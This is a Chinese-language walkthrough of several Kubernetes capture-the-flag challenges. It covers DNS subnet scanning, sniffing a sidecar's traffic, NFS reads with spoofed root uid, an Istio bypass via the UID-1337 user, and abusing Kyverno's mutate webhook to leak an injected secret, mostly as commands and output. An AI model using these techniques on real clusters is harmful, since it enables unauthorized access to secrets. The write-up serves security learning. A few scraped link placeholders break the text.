集群中利用 DNS 来发现 Service 具体原理 10.k8s-Service 资产发现
先查看环境变量确认一部分service的网段
player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=57f211f9-0a09-4a67-9fa3-3838d244bf6e
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env
KUBERNETES_SERVICE_HOST=10.100.0.1 获取到了IP 10.100.0.1
再利用环境中提供的 dnscan 工具扫描该网段
dnscan -subnet 10.100.0.1/16
扫描后发现了一个 Service 资产 10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
看名字就知道到是拿flag
直接curl
player@wiz-k8s-lan-party:~$ curl 10.100.136.254
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}player@wiz-k8s-lan-party:~$
这里curl默认是80端口,如果不是80端口,可以尝试利用SRV记录寻找到服务对应的端口
详细利用看10.k8s-Service 资产发现
Sidecar 容器与主容器共享相同的生命周期、资源和网络命名空间。延展来说同一个 Pod 里面的容器,
其他的命名空间都是隔离的,但是 Network 命名空间是公用的。
既然共享了NetWork命名空间,我们先看一下当前pod的IP
player@wiz-k8s-lan-party:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: gre0@NONE: <NOARP> mtu 1476 qdisc noop state DOWN group default qlen 1000
link/gre 0.0.0.0 brd 0.0.0.0
3: gretap0@NONE: <BROADCAST,MULTICAST> mtu 1462 qdisc noop state DOWN group default qlen 1000
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
4: erspan0@NONE: <BROADCAST,MULTICAST> mtu 1450 qdisc noop state DOWN group default qlen 1000
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
2927: ns-194f16@if2928: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 0e:7e:4b:ac:9d:20 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.12.109/31 scope global ns-194f16
valid_lft forever preferred_lft forever
inet6 fe80::c7e:4bff:feac:9d20/64 scope link
valid_lft forever preferred_lft forever
再看一下网络信息
player@wiz-k8s-lan-party:~$ netstat -noe
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode Timer
tcp 0 0 192.168.12.109:35812 10.100.171.123:80 TIME_WAIT 0 0 timewait (19.11/0/0)
tcp 0 0 192.168.12.109:54358 10.100.171.123:80 TIME_WAIT 0 0 timewait (29.14/0/0)
tcp 0 0 192.168.12.109:35796 10.100.171.123:80 TIME_WAIT 0 0 timewait (14.10/0/0)
tcp 0 0 192.168.12.109:50920 10.100.171.123:80 TIME_WAIT 0 0 timewait (39.17/0/0)
tcp 0 0 192.168.12.109:44242 10.100.171.123:80 TIME_WAIT 0 0 timewait (9.08/0/0)
tcp 0 0 192.168.12.109:60308 10.100.171.123:80 TIME_WAIT 0 0 timewait (49.20/0/0)
tcp 0 0 192.168.12.109:53058 10.100.171.123:80 TIME_WAIT 0 0 timewait (54.21/0/0)
tcp 0 0 192.168.12.109:53520 10.100.171.123:80 TIME_WAIT 0 0 timewait (0.00/0/0)
tcp 0 0 192.168.12.109:54354 10.100.171.123:80 TIME_WAIT 0 0 timewait (24.13/0/0)
tcp 0 0 192.168.12.109:50912 10.100.171.123:80 TIME_WAIT 0 0 timewait (34.16/0/0)
tcp 0 0 192.168.12.109:44226 10.100.171.123:80 TIME_WAIT 0 0 timewait (4.07/0/0)
tcp 0 0 192.168.12.109:53060 10.100.171.123:80 TIME_WAIT 0 0 timewait (59.24/0/0)
tcp 0 0 192.168.12.109:60306 10.100.171.123:80 TIME_WAIT 0 0 timewait (44.18/0/0)
可以发现我们当前的Pod 192.168.12.109 不断地向 10.100.171.123:80 发送TCP请求,这明显很可疑
我们看看是哪个进程在不断的发起请求。
player@wiz-k8s-lan-party:~$ ss -ap |grep 10.100.171.123
tcp TIME-WAIT 0 0 192.168.12.109:59492 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59082 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:45354 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:51518 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:56362 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:51520 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:48026 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59506 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:45358 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:48014 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59080 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:56360 10.100.171.123:http
发现进程是空的,那这就说明不是我们当前Pod容器上的进程,而是当前Pod下另一个容器的进程。也就是提示中"隐形的Sidecar容器",
因为我们共享了network命名空间,所以可以看到流量数据,却看不到进程(因为Pid命名空间隔离了)
我们直接抓流量试试
player@wiz-k8s-lan-party:~$ tcpdump host 10.100.171.123 -A |grep wiz
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ns-194f16, link-type EN10MB (Ethernet), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
nfs-cat 和 nfs-ls 的使用
在集群中,可以通过 PV(PersistentVolume)和 PVC(PersistentVolumeClaim)对象来使用 NFS 作为持久性存储。
首先,管理员需要配置一个 NFS 服务器,将其挂载到集群的节点上。
然后,通过创建一个 PV 对象来描述 NFS 服务器上的存储,
并创建一个 PVC 对象来请求这个 PV。
Pod 可以通过 PVC 使用这个 NFS 存储来持久地存储数据。
NFS 在集群中的主要用途之一是提供共享存储,以便多个 Pod 可以访问和共享相同的数据。
查看当前挂载信息中 NFS 挂载,可得 NFS 服务器的地址和共享路径: fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com
NFS 共享被挂载到本地的目标目录 /efs
player@wiz-k8s-lan-party:~$ mount |grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.48.9,local_lock=none,addr=192.168.124.98)
#本地文件系统上的 /efs 目录被挂载到了 AWS 的 NFS 服务器上,
#这个 NFS 挂载是以只读方式挂载的,而且使用了 NFSv4.1 协议。
那我们查看本地的 /efs 就是在查看目标的 /
player@wiz-k8s-lan-party:/efs$ ls
flag.txt
player@wiz-k8s-lan-party:/efs$ cat flag.txt
cat: flag.txt: Permission denied
但是这个是只读的,所以这里是查看不了的
这里提示给了我们两个命令
nfs-ls 可以用于列出指定 NFS 共享文件系统中的文件和目录nfs-cat 可以用于从指定 NFS 共享文件系统中读取文件内容利用这个命令查看即可。
nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4.1&uid=0&gid=0'
这里需要指定nfs协议的版本,还有使用的用户id与用户组id,读取不了、
在 Istio 中 1337 用户的流量不会通过 Envoy 中,从而可以绕过 Istio 的规则。
https://github.com/istio/istio/issues/4286
Istio 是一个开源的 服务网格(Service Mesh) 平台,用于连接、保护、监控和管控微服务架构中的服务间通信。它通过透明的代理(基于 Envoy)与应用程序一起部署,无需修改应用代码即可提供流量管理、安全、可观测性等能力
dnsscan发现到service服务的IP与域名10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
dnscan -subnet 10.100.0.1/16
curl一下看看
root@wiz-k8s-lan-party:~# curl 10.100.224.159
RBAC: access deniedroot
权限不够
但是我们这里是一个 root@wiz-k8s-lan-party 与前面3题都不一样,当前是root权限,题目提示中也提到了。在 Istio 中 1337 用户的流量不会通过 Envoy (代理)中,不受到 istio 的网络策略管理的控制。具体风险分析 https://github.com/istio/istio/issues/4286
在Istio中,Envoy通常部署为每个服务实例的代理。当服务 A 需要与服务 B 通信时,流量会经过 A 的 Envoy 代理,然后由 Envoy 路由到 B 的实例。这使得 Istio 能够实施流量管理策略,监控流量,并提供安全性和可观察性。
查看当前系统中所有用户以及其UID,发现存在 UID 为 1337 的用户 istio,切换到该用户,再重新 curl 一下那个没有权限访问的 Service,成功获取 flag。这些操作都是需要拥有容器中 root 权限的。
root@wiz-k8s-lan-party:~# cat /etc/passwd |grep 1337
istio:x:1337:1337::/home/istio:/bin/sh
root@wiz-k8s-lan-party:~# su istio
$ curl 10.100.224.159
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}$
还是先dnsscan一下,扫一下服务
dnscan -subnet 10.100.*.*
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
看下policy
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
可以发现有一个 Kyverno 策略,所有在 sensitive-ns 命名空间下创建的 Pod,都会自动注入一个名为 FLAG 的环境变量,其值来自 Kubernetes Secret
Kyverno 是一个用于 Kubernetes 的工具,它帮助管理配置并在集群中执行策略。通过定义自定义资源定义(CRDs)的规则,它确保合规性和安全性,从而对资源管理和行为进行精确控制。
上面服务获取到其中一个名字是 kyverno-svc.kyverno.svc.cluster.local.
kyverno-svc.kyverno.svc.cluster.local 是 Kubernetes 集群内部用于访问 Kyverno 服务的 DNS 全限定域名
hint告诉了我们admission webhook 的请求方式,要使用 post 请求,设置 Content-Type: application/json 并对 admission.k8s.io API 组中的 AdmissionReview 对象进行序列化
AdmissionReview 对象 怎么生成:Title Unavailable | Site Unreachable
此外我们请求还要考虑到路径:
Kyverno 处理 admission webhook 请求的 HTTP 路径通常是 /validate 用于验证(validation)webhooks,和 /mutate 用于变更(mutation)webhooks。这意味着 Kyverno 在 Kubernetes 集群中注册了这些路径来接收和处理来自 Kubernetes API 服务器的 webhook 调用。当 Kubernetes API 服务器需要对资源进行验证或变更时,它会向 Kyverno 发送请求到这些路径。
然后我们创建一个 sensitive-ns namespace 的 pod ,路径应该是 /mutate
但是这里直接创建会报错:Title Unavailable | Site Unreachable
流程

kubectl apply 或 API 调用)。FLAG 环境变量(通过 Kyverno 动态修改)。Kyverno svc:代表请求经过 Kyverno 的 Service(kyverno-svc.kyverno.svc.cluster.local)处理,完成策略校验或资源修改。首先我们需要发送一个 admission request,这里我们会用到一个工具 kube-review
这个工具可以将创建Pod的yaml文件直接转
AdmissionReview请求json参数
首先创建一个pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: sensitive-pod
namespace: sensitive-ns
spec:
containers:
- name: nginx
image: nginx:latest
然后使用这个工具转成json
D:\tools\kube-review-windows-amd64>kube-review-windows-amd64.exe create pod.yaml
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "58be2423-3579-429e-81eb-bcb30e16e763",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "ac5e311a-7ed8-4fff-aebe-5bd900cf6975"
},
"object": {
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "nginx:latest",
"resources": {}
}
]
},
"status": {}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
然后复制这个json保存到 pod.json
然后执行下面的命令
curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
执行这个命令后就会触发 mutating webhook (动态准入控制),然后创建一个pod,并且这个Pod里面会被注入一个flag的环境变量
然后我们就获取到Kyverno 动态准入控制器(Mutating Webhook)对 Pod 创建请求的处理结果,其中就包括Base64 编码的 JSON Patch,描述对 Pod 的修改(里面就有对pod注入flag环境变量)
player@wiz-k8s-lan-party:~$ curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"sensitive-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"kube-review","uid":"ac5e311a-7ed8-4fff-aebe-5bd900cf6975"},"object":{"kind":"Pod","apiVersion":"v1","metadata":{"name":"sensitive-pod","namespace":"sensitive-ns","creationTimestamp":null},"spec":{"containers":[{"name":"nginx","image":"nginx:latest","resources":{}}]},"status":{}},"oldObject":null,"dryRun":true,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1"}},"response":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","allowed":true,"patch":"W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL2VudiIsInZhbHVlIjpbeyJuYW1lIjoiRkxBRyIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9XX0sIHsicGF0aCI6Ii9tZXRhZGF0YS9hbm5vdGF0aW9ucyIsIm9wIjoiYWRkIiwidmFsdWUiOnsicG9saWNpZXMua3l2ZXJuby5pby9sYXN0LWFwcGxpZWQtcGF0Y2hlcyI6ImluamVjdC1lbnYtdmFycy5hcHBseS1mbGFnLXRvLWVudi5reXZlcm5vLmlvOiBhZGRlZCAvc3BlYy9jb250YWluZXJzLzAvZW52XG4ifX1d","patchType":"JSONPatch"}}player
解码后的结果就包含flag
[{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"}]}, {"path":"/metadata/annotations","op":"add","value":{"policies.kyverno.io/last-applied-patches":"inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"}}]